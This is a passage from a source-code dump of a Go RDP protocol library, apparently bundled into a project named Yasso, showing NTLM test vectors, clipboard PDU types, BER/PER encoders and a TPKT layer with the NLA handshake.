expected { 14 | t.Error(res, "not equal to", expected) 15 | } 16 | 17 | res = hex.EncodeToString(nla.NTOWFv2("user", "pwd", "dom")) 18 | expected = "652feb8208b3a8a6264c9c5d5b820979" 19 | if res != expected { 20 | t.Error(res, "not equal to", expected) 21 | } 22 | } 23 | 24 | func TestRC4K(t *testing.T) { 25 | key, _ := hex.DecodeString("55638e834ce774c100637f197bc0683f") 26 | src, _ := hex.DecodeString("177d16086dd3f06fa8d594e3bad005b7") 27 | res := hex.EncodeToString(nla.RC4K(key, src)) 28 | expected := "f5ab375222707a492bd5a90705d96d1d" 29 | if res != expected { 30 | t.Error(res, "not equal to", expected) 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/nla/ntlm_test.go: -------------------------------------------------------------------------------- 1 | package nla_test 2 | 3 | //func TestNewNegotiateMessage(t *testing.T) { 4 | // ntlm := nla.NewNTLMv2("", "", "") 5 | // negoMsg := ntlm.GetNegotiateMessage() 6 | // buff := &bytes.Buffer{} 7 | // struc.Pack(buff, negoMsg) 8 | // 9 | // result := hex.EncodeToString(buff.Bytes()) 10 | // expected := "4e544c4d535350000100000035820860000000000000000000000000000000000000000000000000" 11 | // 12 | // if result != expected { 13 | // t.Error(result, " not equals to", expected) 14 | // } 15 | //} 16 | // 17 | //func TestNTLMv2_ComputeResponse(t *testing.T) { 18 | // ntlm := nla.NewNTLMv2("", "", "") 19 | // 20 | // ResponseKeyNT, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007") 21 | // ResponseKeyLM, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007") 22 | // ServerChallenge, _ := hex.DecodeString("adcb9d1c8d4a5ed8") 23 | // ClienChallenge, _ := hex.DecodeString("1a78bed8e5d5efa7") 24 | // Timestamp, _ := hex.DecodeString("a02f44f01267d501") 25 | // ServerName, _ := hex.DecodeString("02001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000") 26 | // 27 | // NtChallengeResponse, LmChallengeResponse, SessionBaseKey := ntlm.ComputeResponse(ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClienChallenge, Timestamp, ServerName) 28 | // 29 | // ntChallRespExpected := "4e7316531937d2fc91e7230853844b890101000000000000a02f44f01267d5011a78bed8e5d5efa70000000002001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000" 30 | // lmChallRespExpected := "d4dc6edc0c37dd70f69b5c4f05a615661a78bed8e5d5efa7" 31 | // sessBaseKeyExpected := "034009be89a0507b2bd6d28e966e1dab" 32 | // 33 | // if hex.EncodeToString(NtChallengeResponse) != ntChallRespExpected { 34 | // t.Error("NtChallengeResponse incorrect") 35 | // } 36 | // 37 | // if hex.EncodeToString(LmChallengeResponse) != lmChallRespExpected { 38 | // t.Error("LmChallengeResponse incorrect") 39 | // } 40 | // 41 | // if hex.EncodeToString(SessionBaseKey) != sessBaseKeyExpected { 42 | // t.Error("SessionBaseKey incorrect") 43 | // } 44 | //} 45 | // 46 | //func TestSIGNKEY(t *testing.T) { 47 | // exportedSessionKey, _ := hex.DecodeString("be32c3c56ea6683200a35329d67880c3") 48 | // result := hex.EncodeToString(nla.SIGNKEY(exportedSessionKey, true)) 49 | // expected := "79b4f9a4113230f378a0af99f784adae" 50 | // if result != expected { 51 | // t.Error(result, "not equal to", expected) 52 | // } 53 | //} 54 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/pdu/cliprdr.go: -------------------------------------------------------------------------------- 1 | package pdu 2 | 3 | import ( 4 | "bytes" 5 | 6 | "Yasso/pkg/grdp/core" 7 | "Yasso/pkg/grdp/glog" 8 | ) 9 | 10 | /** 11 | * Initialization Sequence\n 12 | * Client Server\n 13 | * | |\n 14 | * |<----------------------Server Clipboard Capabilities PDU-----------------|\n 15 | * |<-----------------------------Monitor Ready PDU--------------------------|\n 16 | * |-----------------------Client Clipboard Capabilities PDU---------------->|\n 17 | * |---------------------------Temporary Directory PDU---------------------->|\n 18 | * |-------------------------------Format List PDU-------------------------->|\n 19 | * |<--------------------------Format List Response PDU----------------------|\n 20 | * 21 | */ 22 | 23 | /** 24 | * Data Transfer Sequences\n 25 | * Shared Local\n 26 | * Clipboard Owner Clipboard Owner\n 27 | * | |\n 28 | * |-------------------------------------------------------------------------|\n _ 29 | * |-------------------------------Format List PDU-------------------------->|\n | 30 | * |<--------------------------Format List Response PDU----------------------|\n _| Copy 31 | * Sequence 32 | * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n 33 | * |-------------------------------------------------------------------------|\n 34 | * |-------------------------------------------------------------------------|\n _ 35 | * |<--------------------------Format Data Request PDU-----------------------|\n | Paste 36 | * Sequence Palette, 37 | * |---------------------------Format Data Response PDU--------------------->|\n _| Metafile, 38 | * File List Data 39 | * |-------------------------------------------------------------------------|\n 40 | * |-------------------------------------------------------------------------|\n _ 41 | * |<------------------------Format Contents Request PDU---------------------|\n | Paste 42 | * Sequence 43 | * |-------------------------Format Contents Response PDU------------------->|\n _| File 44 | * Stream Data 45 | * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n 46 | * |-------------------------------------------------------------------------|\n 47 | * 48 | */ 49 | 50 | type MsgType uint16 51 | 52 | const ( 53 | CB_MONITOR_READY = 0x0001 54 | CB_FORMAT_LIST = 0x0002 55 | CB_FORMAT_LIST_RESPONSE = 0x0003 56 | CB_FORMAT_DATA_REQUEST = 0x0004 57 | CB_FORMAT_DATA_RESPONSE = 0x0005 58 | CB_TEMP_DIRECTORY = 0x0006 59 | CB_CLIP_CAPS = 0x0007 60 | CB_FILECONTENTS_REQUEST = 0x0008 61 | CB_FILECONTENTS_RESPONSE = 0x0009 62 | CB_LOCK_CLIPDATA = 0x000A 63 | CB_UNLOCK_CLIPDATA = 0x000B 64 | ) 65 | 66 | type MsgFlags uint16 67 | 68 | const ( 69 | CB_RESPONSE_OK = 0x0001 70 | CB_RESPONSE_FAIL = 0x0002 71 | CB_ASCII_NAMES = 0x0004 72 | ) 73 | 74 | type DwFlags uint32 75 | 76 | const ( 77 | FILECONTENTS_SIZE = 0x00000001 78 | FILECONTENTS_RANGE = 0x00000002 79 | ) 80 | 81 | type CliprdrPDUHeader struct { 82 | MsgType uint16 `struc:"little"` 83 | MsgFlags uint16 `struc:"little"` 84 | DataLen uint32 `struc:"little"` 85 | } 86 | 87 | func NewCliprdrPDUHeader(mType, flags uint16, ln uint32) *CliprdrPDUHeader { 88 | return &CliprdrPDUHeader{ 89 | MsgType: mType, 90 | MsgFlags: flags, 91 | DataLen: ln, 92 | } 93 | } 94 | 95 | /*func (c *CliprdrPDU) serialize() []byte { 96 | b := &bytes.Buffer{} 97 | 98 | return b.Bytes() 99 | } 100 | func (c *CliprdrPDU) SendCliprdrGeneralCapability() { 101 | 102 | } 103 | func (c *CliprdrPDU) RecvCliprdrCaps() { 104 | 105 | } 106 | 107 | func (c *CliprdrPDU) RecvMonitorReady() { 108 | 109 | } 110 | 111 | func (c *CliprdrPDU) SendCliprdrFileContentsRequest() { 112 | 113 | } 114 | func (c *CliprdrPDU) SendCliprdrFileContentsResponse() { 115 | 116 | } 117 | func (c *CliprdrPDU) SendCliprdrClientFormatList() { 118 | 119 | } 120 | 121 | func (c *CliprdrPDU) RecvCliprdrClientFormatListResponse() { 122 | 123 | } 124 | */ 125 | type CliprdrClient struct { 126 | useLongFormatNames bool 127 | streamFileClipEnabled bool 128 | fileClipNoFilePaths bool 129 | canLockClipData bool 130 | hasHugeFileSupport bool 131 | } 132 | 133 | func process_message(s []byte) { 134 | r := bytes.NewReader(s) 135 | 136 | msgType, _ := core.ReadUint16LE(r) 137 | flag, _ := core.ReadUint16LE(r) 138 | length, _ := core.ReadUInt32LE(r) 139 | 140 | glog.Debug("cliprdr: type=%d flag=%d length=%d", msgType, flag, length) 141 | 142 | switch msgType { 143 | case CB_MONITOR_READY: 144 | //clipboard_sync(plugin->device_data); 145 | break 146 | case CB_FORMAT_LIST: 147 | //clipboard_format_list(plugin->device_data, flag, 148 | // data + 8, length); 149 | //cliprdr_send_packet(plugin, CB_FORMAT_LIST_RESPONSE, 150 | // CB_RESPONSE_OK, NULL, 0); 151 | break 152 | case CB_FORMAT_LIST_RESPONSE: 153 | //clipboard_format_list_response(plugin->device_data, flag); 154 | break 155 | case CB_FORMAT_DATA_REQUEST: 156 | //format = GET_UINT32(data, 8); 157 | //clipboard_request_data(plugin->device_data, format); 158 | break 159 | case CB_FORMAT_DATA_RESPONSE: 160 | //clipboard_handle_data(plugin->device_data, flag, 161 | //data + 8, length); 162 | //break; 163 | case CB_CLIP_CAPS: 164 | //clipboard_handle_caps(plugin->device_data, flag, 165 | //data + 8, length); 166 | break 167 | default: 168 | glog.Error("type %d not supported", msgType) 169 | break 170 | } 171 | 172 | } 173 | 174 | type CliprdrGeneralCapabilitySet struct { 175 | CapabilitySetType uint16 `struc:"little"` 176 | CapabilitySetLength uint16 `struc:"little"` 177 | Version uint32 `struc:"little"` 178 | GeneralFlags uint32 `struc:"little"` 179 | } 180 | type CliprdrCapabilitySets struct { 181 | CapabilitySetType uint16 `struc:"little"` 182 | LengthCapability uint16 `struc:"little,sizeof=CapabilityData"` 183 | CapabilityData []byte `struc:"little"` 184 | } 185 | type CliprdrCapabilitiesPDU struct { 186 | *CliprdrPDUHeader `struc:"little"` 187 | CCapabilitiesSets uint16 `struc:"little"` 188 | Pad1 uint16 `struc:"little"` 189 | CapabilitySets CliprdrGeneralCapabilitySet `struc:"little"` 190 | } 191 | 192 | type CliprdrMonitorReady struct { 193 | *CliprdrPDUHeader `struc:"little"` 194 | } 195 | 196 | type GeneralFlags uint32 197 | 198 | const ( 199 | /* CLIPRDR_GENERAL_CAPABILITY.generalFlags */ 200 | CB_USE_LONG_FORMAT_NAMES = 0x00000002 201 | CB_STREAM_FILECLIP_ENABLED = 0x00000004 202 | CB_FILECLIP_NO_FILE_PATHS = 0x00000008 203 | CB_CAN_LOCK_CLIPDATA = 0x00000010 204 | CB_HUGE_FILE_SUPPORT_ENABLED = 0x00000020 205 | ) 206 | 207 | const ( 208 | /* CLIPRDR_GENERAL_CAPABILITY.version */ 209 | CB_CAPS_VERSION_1 = 0x00000001 210 | CB_CAPS_VERSION_2 = 0x00000002 211 | ) 212 | const ( 213 | CB_CAPSTYPE_GENERAL_LEN = 12 214 | ) 215 | 216 | func CliprdrInit(context CliprdrClient) { 217 | var ( 218 | generalFlags uint32 219 | generalCapabilitySet CliprdrGeneralCapabilitySet 220 | monitorReady CliprdrMonitorReady 221 | capabilities CliprdrCapabilitiesPDU 222 | ) 223 | 224 | generalFlags = 0 225 | monitorReady.MsgType = CB_MONITOR_READY 226 | capabilities.MsgType = CB_CLIP_CAPS 227 | 228 | if context.useLongFormatNames { 229 | generalFlags |= CB_USE_LONG_FORMAT_NAMES 230 | } 231 | 232 | if context.streamFileClipEnabled { 233 | generalFlags |= CB_STREAM_FILECLIP_ENABLED 234 | } 235 | 236 | if context.fileClipNoFilePaths { 237 | generalFlags |= CB_FILECLIP_NO_FILE_PATHS 238 | } 239 | 240 | if context.canLockClipData { 241 | generalFlags |= CB_CAN_LOCK_CLIPDATA 242 | } 243 | 244 | if context.hasHugeFileSupport { 245 | generalFlags |= CB_HUGE_FILE_SUPPORT_ENABLED 246 | } 247 | 248 | capabilities.MsgType = CB_CLIP_CAPS 249 | capabilities.MsgFlags = 0 250 | capabilities.DataLen = 4 + CB_CAPSTYPE_GENERAL_LEN 251 | capabilities.CCapabilitiesSets = 1 252 | 253 | generalCapabilitySet.CapabilitySetType = 0x0001 254 | generalCapabilitySet.CapabilitySetLength = CB_CAPSTYPE_GENERAL_LEN 255 | generalCapabilitySet.Version = CB_CAPS_VERSION_2 256 | generalCapabilitySet.GeneralFlags = generalFlags 257 | capabilities.CapabilitySets = generalCapabilitySet 258 | 259 | /* if ((err= context->ServerCapabilities(context, &capabilities))){ 260 | //glog.Error(TAG, "ServerCapabilities failed with error %" PRIu32 "!", err); 261 | return err 262 | } 263 | 264 | if ((err = context->MonitorReady(context, &monitorReady))){ 265 | //glog.Error("MonitorReady failed with error %" PRIu32 "!", err); 266 | return err 267 | }*/ 268 | 269 | //return err 270 | } 271 | 272 | // temp dir 273 | type CliprdrTempDirectory struct { 274 | Header *CliprdrPDUHeader 275 | SzTempDir string 276 | } 277 | 278 | // format list 279 | type CliprdrFormat struct { 280 | FormatId uint32 281 | FormatName string 282 | } 283 | type CliprdrFormatList struct { 284 | Header *CliprdrPDUHeader 285 | NumFormats uint32 286 | Formats []CliprdrFormat 287 | } 288 | type ClipboardFormats uint16 289 | 290 | const ( 291 | CB_FORMAT_HTML = 0xD010 292 | CB_FORMAT_PNG = 0xD011 293 | CB_FORMAT_JPEG = 0xD012 294 | CB_FORMAT_GIF = 0xD013 295 | CB_FORMAT_TEXTURILIST = 0xD014 296 | CB_FORMAT_GNOMECOPIEDFILES = 0xD015 297 | CB_FORMAT_MATECOPIEDFILES = 0xD016 298 | ) 299 | 300 | // lock or unlock 301 | type CliprdrCtrlClipboardData struct { 302 | Header *CliprdrPDUHeader 303 | ClipDataId uint32 304 | } 305 | 306 | // format data 307 | type CliprdrFormatDataRequest struct { 308 | Header *CliprdrPDUHeader 309 | RequestedFormatId uint32 310 | } 311 | type CliprdrFormatDataResponse struct { 312 | Header *CliprdrPDUHeader 313 | RequestedFormatData []byte 314 | } 315 | 316 | // file contents 317 | type CliprdrFileContentsRequest struct { 318 | Header *CliprdrPDUHeader 319 | StreamId uint32 320 | Lindex int32 321 | DwFlags uint32 322 | NPositionLow uint32 323 | NPositionHigh uint32 324 | CbRequested uint32 325 | ClipDataId uint32 326 | } 327 | 328 | func NewCliprdrFileContentsRequest() *CliprdrFileContentsRequest { 329 | return &CliprdrFileContentsRequest{ 330 | Header: NewCliprdrPDUHeader(CB_FILECONTENTS_REQUEST, 0, 0), 331 | } 332 | } 333 | 334 | type CliprdrFileContentsResponse struct { 335 | Header *CliprdrPDUHeader 336 | StreamId uint32 337 | CbRequested uint32 338 | RequestedData []byte 339 | } 340 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/t125/ber/ber.go: -------------------------------------------------------------------------------- 1 | package ber 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io" 7 | 8 | "Yasso/pkg/grdp/core" 9 | ) 10 | 11 | const ( 12 | CLASS_MASK uint8 = 0xC0 13 | CLASS_UNIV = 0x00 14 | CLASS_APPL = 0x40 15 | CLASS_CTXT = 0x80 16 | CLASS_PRIV = 0xC0 17 | ) 18 | 19 | const ( 20 | PC_MASK uint8 = 0x20 21 | PC_PRIMITIVE = 0x00 22 | PC_CONSTRUCT = 0x20 23 | ) 24 | 25 | const ( 26 | TAG_MASK uint8 = 0x1F 27 | TAG_BOOLEAN = 0x01 28 | TAG_INTEGER = 0x02 29 | TAG_BIT_STRING = 0x03 30 | TAG_OCTET_STRING = 0x04 31 | TAG_OBJECT_IDENFIER = 0x06 32 | TAG_ENUMERATED = 0x0A 33 | TAG_SEQUENCE = 0x10 34 | TAG_SEQUENCE_OF = 0x10 35 | ) 36 | 37 | func berPC(pc bool) uint8 { 38 | if pc { 39 | return PC_CONSTRUCT 40 | } 41 | return PC_PRIMITIVE 42 | } 43 | 44 | func ReadEnumerated(r io.Reader) (uint8, error) { 45 | if !ReadUniversalTag(TAG_ENUMERATED, false, r) { 46 | return 0, errors.New("invalid ber tag") 47 | } 48 | length, err := ReadLength(r) 49 | if err != nil { 50 | return 0, err 51 | } 52 | if length != 1 { 53 | return 0, errors.New(fmt.Sprintf("enumerate size is wrong, get %v, expect 1", length)) 54 | } 55 | return core.ReadUInt8(r) 56 | } 57 | 58 | func ReadUniversalTag(tag uint8, pc bool, r io.Reader) bool { 59 | bb, _ := core.ReadUInt8(r) 60 | return bb == (CLASS_UNIV|berPC(pc))|(TAG_MASK&tag) 61 | } 62 | 63 | func WriteUniversalTag(tag uint8, pc bool, w io.Writer) { 64 | core.WriteUInt8((CLASS_UNIV|berPC(pc))|(TAG_MASK&tag), w) 65 | } 66 | 67 | func ReadLength(r io.Reader) (int, error) { 68 | ret := 0 69 | size, _ := core.ReadUInt8(r) 70 | if size&0x80 > 0 { 71 | size = size &^ 0x80 72 | if size == 1 { 73 | r, err := core.ReadUInt8(r) 74 | if err != nil { 75 | return 0, err 76 | } 77 | ret = int(r) 78 | } else if size == 2 { 79 | r, err := core.ReadUint16BE(r) 80 | if err != nil { 81 | return 0, err 82 | } 83 | ret = int(r) 84 | } else { 85 | return 0, errors.New("BER length may be 1 or 2") 86 | } 87 | } else { 88 | ret = int(size) 89 | } 90 | return ret, nil 91 | } 92 | 93 | func WriteLength(size int, w io.Writer) { 94 | if size > 0x7f { 95 | core.WriteUInt8(0x82, w) 96 | core.WriteUInt16BE(uint16(size), w) 97 | } else { 98 | core.WriteUInt8(uint8(size), w) 99 | } 100 | } 101 | 102 | func ReadInteger(r io.Reader) (int, error) { 103 | if !ReadUniversalTag(TAG_INTEGER, false, r) { 104 | return 0, errors.New("Bad integer tag") 105 | } 106 | size, _ := ReadLength(r) 107 | switch size { 108 | case 1: 109 | num, _ := core.ReadUInt8(r) 110 | return int(num), nil 111 | case 2: 112 | num, _ := core.ReadUint16BE(r) 113 | return int(num), nil 114 | case 3: 115 | integer1, _ := core.ReadUInt8(r) 116 | integer2, _ := core.ReadUint16BE(r) 117 | return int(integer2) + int(integer1<<16), nil 118 | case 4: 119 | num, _ := core.ReadUInt32BE(r) 120 | return int(num), nil 121 | default: 122 | return 0, errors.New("wrong size") 123 | } 124 | } 125 | 126 | func WriteInteger(n int, w io.Writer) { 127 | WriteUniversalTag(TAG_INTEGER, false, w) 128 | if n <= 0xff { 129 | WriteLength(1, w) 130 | core.WriteUInt8(uint8(n), w) 131 | } else if n <= 0xffff { 132 | WriteLength(2, w) 133 | core.WriteUInt16BE(uint16(n), w) 134 | } else { 135 | WriteLength(4, w) 136 | core.WriteUInt32BE(uint32(n), w) 137 | } 138 | } 139 | 140 | func WriteOctetstring(str string, w io.Writer) { 141 | WriteUniversalTag(TAG_OCTET_STRING, false, w) 142 | WriteLength(len(str), w) 143 | core.WriteBytes([]byte(str), w) 144 | } 145 | 146 | func WriteBoolean(b bool, w io.Writer) { 147 | bb := uint8(0) 148 | if b { 149 | bb = uint8(0xff) 150 | } 151 | WriteUniversalTag(TAG_BOOLEAN, false, w) 152 | WriteLength(1, w) 153 | core.WriteUInt8(bb, w) 154 | } 155 | 156 | func ReadApplicationTag(tag uint8, r io.Reader) (int, error) { 157 | bb, _ := core.ReadUInt8(r) 158 | if tag > 30 { 159 | if bb != (CLASS_APPL|PC_CONSTRUCT)|TAG_MASK { 160 | return 0, errors.New("ReadApplicationTag invalid data") 161 | } 162 | bb, _ := core.ReadUInt8(r) 163 | if bb != tag { 164 | return 0, errors.New("ReadApplicationTag bad tag") 165 | } 166 | } else { 167 | if bb != (CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag) { 168 | return 0, errors.New("ReadApplicationTag invalid data2") 169 | } 170 | } 171 | return ReadLength(r) 172 | } 173 | 174 | func WriteApplicationTag(tag uint8, size int, w io.Writer) { 175 | if tag > 30 { 176 | core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|TAG_MASK, w) 177 | core.WriteUInt8(tag, w) 178 | WriteLength(size, w) 179 | } else { 180 | core.WriteUInt8((CLASS_APPL|PC_CONSTRUCT)|(TAG_MASK&tag), w) 181 | WriteLength(size, w) 182 | } 183 | } 184 | 185 | func WriteEncodedDomainParams(data []byte, w io.Writer) { 186 | WriteUniversalTag(TAG_SEQUENCE, true, w) 187 | WriteLength(len(data), w) 188 | core.WriteBytes(data, w) 189 | } 190 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/t125/per/per.go: -------------------------------------------------------------------------------- 1 | package per 2 | 3 | import ( 4 | "bytes" 5 | "io" 6 | 7 | "Yasso/pkg/grdp/glog" 8 | 9 | "Yasso/pkg/grdp/core" 10 | ) 11 | 12 | func ReadEnumerates(r io.Reader) (uint8, error) { 13 | return core.ReadUInt8(r) 14 | } 15 | 16 | func WriteInteger(n int, w io.Writer) { 17 | if n <= 0xff { 18 | WriteLength(1, w) 19 | core.WriteUInt8(uint8(n), w) 20 | } else if n <= 0xffff { 21 | WriteLength(2, w) 22 | core.WriteUInt16BE(uint16(n), w) 23 | } else { 24 | WriteLength(4, w) 25 | core.WriteUInt32BE(uint32(n), w) 26 | } 27 | } 28 | 29 | func ReadInteger16(r io.Reader) (uint16, error) { 30 | return core.ReadUint16BE(r) 31 | } 32 | 33 | func WriteInteger16(value uint16, w io.Writer) { 34 | core.WriteUInt16BE(value, w) 35 | } 36 | 37 | /** 38 | * @param choice {integer} 39 | * @returns {type.UInt8} choice per encoded 40 | */ 41 | func WriteChoice(choice uint8, w io.Writer) { 42 | core.WriteUInt8(choice, w) 43 | } 44 | 45 | /** 46 | * @param value {raw} value to convert to per format 47 | * @returns type objects per encoding value 48 | */ 49 | func WriteLength(value int, w io.Writer) { 50 | if value > 0x7f { 51 | core.WriteUInt16BE(uint16(value|0x8000), w) 52 | } else { 53 | core.WriteUInt8(uint8(value), w) 54 | } 55 | } 56 | 57 | func ReadLength(r io.Reader) (uint16, error) { 58 | b, err := core.ReadUInt8(r) 59 | if err != nil { 60 | return 0, nil 61 | } 62 | var size uint16 63 | if b&0x80 > 0 { 64 | b = b &^ 0x80 65 | size = uint16(b) << 8 66 | left, _ := core.ReadUInt8(r) 67 | size += uint16(left) 68 | } else { 69 | size = uint16(b) 70 | } 71 | return size, nil 72 | } 73 | 74 | /** 75 | * @param oid {array} oid to write 76 | * @returns {type.Component} per encoded object identifier 77 | */ 78 | func WriteObjectIdentifier(oid []byte, w io.Writer) { 79 | core.WriteUInt8(5, w) 80 | core.WriteByte((oid[0]<<4)&(oid[1]&0x0f), w) 81 | core.WriteByte(oid[2], w) 82 | core.WriteByte(oid[3], w) 83 | core.WriteByte(oid[4], w) 84 | core.WriteByte(oid[5], w) 85 | } 86 | 87 | /** 88 | * @param selection {integer} 89 | * @returns {type.UInt8} per encoded selection 90 | */ 91 | func WriteSelection(selection uint8, w io.Writer) { 92 | core.WriteUInt8(selection, w) 93 | } 94 | 95 | func WriteNumericString(s string, minValue int, w io.Writer) { 96 | length := len(s) 97 | mLength := minValue 98 | if length >= minValue { 99 | mLength = length - minValue 100 | } 101 | buff := &bytes.Buffer{} 102 | for i := 0; i < length; i += 2 { 103 | c1 := int(s[i]) 104 | c2 := 0x30 105 | if i+1 < length { 106 | c2 = int(s[i+1]) 107 | } 108 | c1 = (c1 - 0x30) % 10 109 | c2 = (c2 - 0x30) % 10 110 | core.WriteUInt8(uint8((c1<<4)|c2), buff) 111 | } 112 | WriteLength(mLength, w) 113 | w.Write(buff.Bytes()) 114 | } 115 | 116 | func WritePadding(length int, w io.Writer) { 117 | b := make([]byte, length) 118 | w.Write(b) 119 | } 120 | 121 | func WriteNumberOfSet(n int, w io.Writer) { 122 | core.WriteUInt8(uint8(n), w) 123 | } 124 | 125 | /** 126 | * @param oStr {String} 127 | * @param minValue {integer} default 0 128 | * @returns {type.Component} per encoded octet stream 129 | */ 130 | func WriteOctetStream(oStr string, minValue int, w io.Writer) { 131 | length := len(oStr) 132 | mlength := minValue 133 | 134 | if length-minValue >= 0 { 135 | mlength = length - minValue 136 | } 137 | WriteLength(mlength, w) 138 | w.Write([]byte(oStr)[:length]) 139 | } 140 | 141 | func ReadChoice(r io.Reader) uint8 { 142 | choice, _ := core.ReadUInt8(r) 143 | return choice 144 | } 145 | func ReadNumberOfSet(r io.Reader) uint8 { 146 | choice, _ := core.ReadUInt8(r) 147 | return choice 148 | } 149 | func ReadInteger(r io.Reader) uint32 { 150 | size, _ := ReadLength(r) 151 | switch size { 152 | case 1: 153 | ret, _ := core.ReadUInt8(r) 154 | return uint32(ret) 155 | case 2: 156 | ret, _ := core.ReadUint16BE(r) 157 | return uint32(ret) 158 | case 4: 159 | ret, _ := core.ReadUInt32BE(r) 160 | return ret 161 | default: 162 | glog.Info("ReadInteger") 163 | } 164 | return 0 165 | } 166 | 167 | func ReadObjectIdentifier(r io.Reader, oid []byte) bool { 168 | size, _ := ReadLength(r) 169 | if size != 5 { 170 | return false 171 | } 172 | 173 | a_oid := []byte{0, 0, 0, 0, 0, 0} 174 | t12, _ := core.ReadByte(r) 175 | a_oid[0] = t12 >> 4 176 | a_oid[1] = t12 & 0x0f 177 | a_oid[2], _ = core.ReadByte(r) 178 | a_oid[3], _ = core.ReadByte(r) 179 | a_oid[4], _ = core.ReadByte(r) 180 | a_oid[5], _ = core.ReadByte(r) 181 | 182 | for i, _ := range oid { 183 | if oid[i] != a_oid[i] { 184 | return false 185 | } 186 | } 187 | return true 188 | } 189 | func ReadOctetStream(r io.Reader, s string, min int) bool { 190 | ln, _ := ReadLength(r) 191 | size := int(ln) + min 192 | if size != len(s) { 193 | return false 194 | } 195 | for i := 0; i < size; i++ { 196 | b, _ := core.ReadByte(r) 197 | if b != s[i] { 198 | return false 199 | } 200 | } 201 | 202 | return true 203 | } 204 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/tpkt/tpkt.go: -------------------------------------------------------------------------------- 1 | package tpkt 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "fmt" 7 | 8 | "Yasso/pkg/grdp/core" 9 | "Yasso/pkg/grdp/emission" 10 | "Yasso/pkg/grdp/glog" 11 | "Yasso/pkg/grdp/protocol/nla" 12 | ) 13 | 14 | // take idea from https://github.com/Madnikulin50/gordp 15 | 16 | /** 17 | * Type of tpkt packet 18 | * Fastpath is use to shortcut RDP stack 19 | * @see http://msdn.microsoft.com/en-us/library/cc240621.aspx 20 | * @see http://msdn.microsoft.com/en-us/library/cc240589.aspx 21 | */ 22 | const ( 23 | FASTPATH_ACTION_FASTPATH = 0x0 24 | FASTPATH_ACTION_X224 = 0x3 25 | ) 26 | 27 | /** 28 | * TPKT layer of rdp stack 29 | */ 30 | type TPKT struct { 31 | emission.Emitter 32 | Conn *core.SocketLayer 33 | ntlm *nla.NTLMv2 34 | secFlag byte 35 | lastShortLength int 36 | fastPathListener core.FastPathListener 37 | ntlmSec *nla.NTLMv2Security 38 | } 39 | 40 | func New(s *core.SocketLayer, ntlm *nla.NTLMv2) *TPKT { 41 | t := &TPKT{ 42 | Emitter: *emission.NewEmitter(), 43 | Conn: s, 44 | secFlag: 0, 45 | ntlm: ntlm} 46 | core.StartReadBytes(2, s, t.recvHeader) 47 | return t 48 | } 49 | 50 | func (t *TPKT) StartTLS() error { 51 | return t.Conn.StartTLS() 52 | } 53 | 54 | func (t *TPKT) StartNLA() error { 55 | err := t.StartTLS() 56 | if err != nil { 57 | glog.Info("start tls failed", err) 58 | return err 59 | } 60 | req := nla.EncodeDERTRequest([]nla.Message{t.ntlm.GetNegotiateMessage()}, nil, nil) 61 | _, err = t.Conn.Write(req) 62 | if err != nil { 63 | glog.Info("send NegotiateMessage", err) 64 | return err 65 | } 66 | 67 | resp := make([]byte, 1024) 68 | n, err := t.Conn.Read(resp) 69 | if err != nil { 70 | return fmt.Errorf("read %s", err) 71 | } else { 72 | glog.Debug("StartNLA Read success") 73 | } 74 | return t.recvChallenge(resp[:n]) 75 | } 76 | 77 | func (t *TPKT) recvChallenge(data []byte) error { 78 | glog.Debug("recvChallenge", hex.EncodeToString(data)) 79 | tsreq, err := nla.DecodeDERTRequest(data) 80 | if err != nil { 81 | glog.Info("DecodeDERTRequest", err) 82 | return err 83 | } 84 | glog.Debugf("tsreq:%+v", tsreq) 85 | // get pubkey 86 | pubkey, err := t.Conn.TlsPubKey() 87 | glog.Debugf("pubkey=%+v", pubkey) 88 | 89 | authMsg, ntlmSec := t.ntlm.GetAuthenticateMessage(tsreq.NegoTokens[0].Data) 90 | t.ntlmSec = ntlmSec 91 | 92 | encryptPubkey := ntlmSec.GssEncrypt(pubkey) 93 | req := nla.EncodeDERTRequest([]nla.Message{authMsg}, nil, encryptPubkey) 94 | _, err = t.Conn.Write(req) 95 | if err != nil { 96 | glog.Info("send AuthenticateMessage", err) 97 | return err 98 | } 99 | resp := make([]byte, 1024) 100 | n, err := t.Conn.Read(resp) 101 | if err != nil { 102 | glog.Error("Read:", err) 103 | return fmt.Errorf("read %s", err) 104 | } else { 105 | glog.Debug("recvChallenge Read success") 106 | } 107 | return t.recvPubKeyInc(resp[:n]) 108 | } 109 | 110 | func (t *TPKT) recvPubKeyInc(data []byte) error { 111 | glog.Debug("recvPubKeyInc", hex.EncodeToString(data)) 112 | tsreq, err := nla.DecodeDERTRequest(data) 113 | if err != nil { 114 | glog.Info("DecodeDERTRequest", err) 115 | return err 116 | } 117 | glog.Debug("PubKeyAuth:", tsreq.PubKeyAuth) 118 | //ignore 119 | //pubkey := t.ntlmSec.GssDecrypt([]byte(tsreq.PubKeyAuth)) 120 | domain, username, password := t.ntlm.GetEncodedCredentials() 121 | credentials := nla.EncodeDERTCredentials(domain, username, password) 122 | authInfo := t.ntlmSec.GssEncrypt(credentials) 123 | req := nla.EncodeDERTRequest(nil, authInfo, nil) 124 | _, err = t.Conn.Write(req) 125 | if err != nil { 126 | glog.Info("send AuthenticateMessage", err) 127 | return err 128 | } 129 | 130 | return nil 131 | } 132 | 133 | func (t *TPKT) Read(b []byte) (n int, err error) { 134 | return t.Conn.Read(b) 135 | } 136 | 137 | func (t 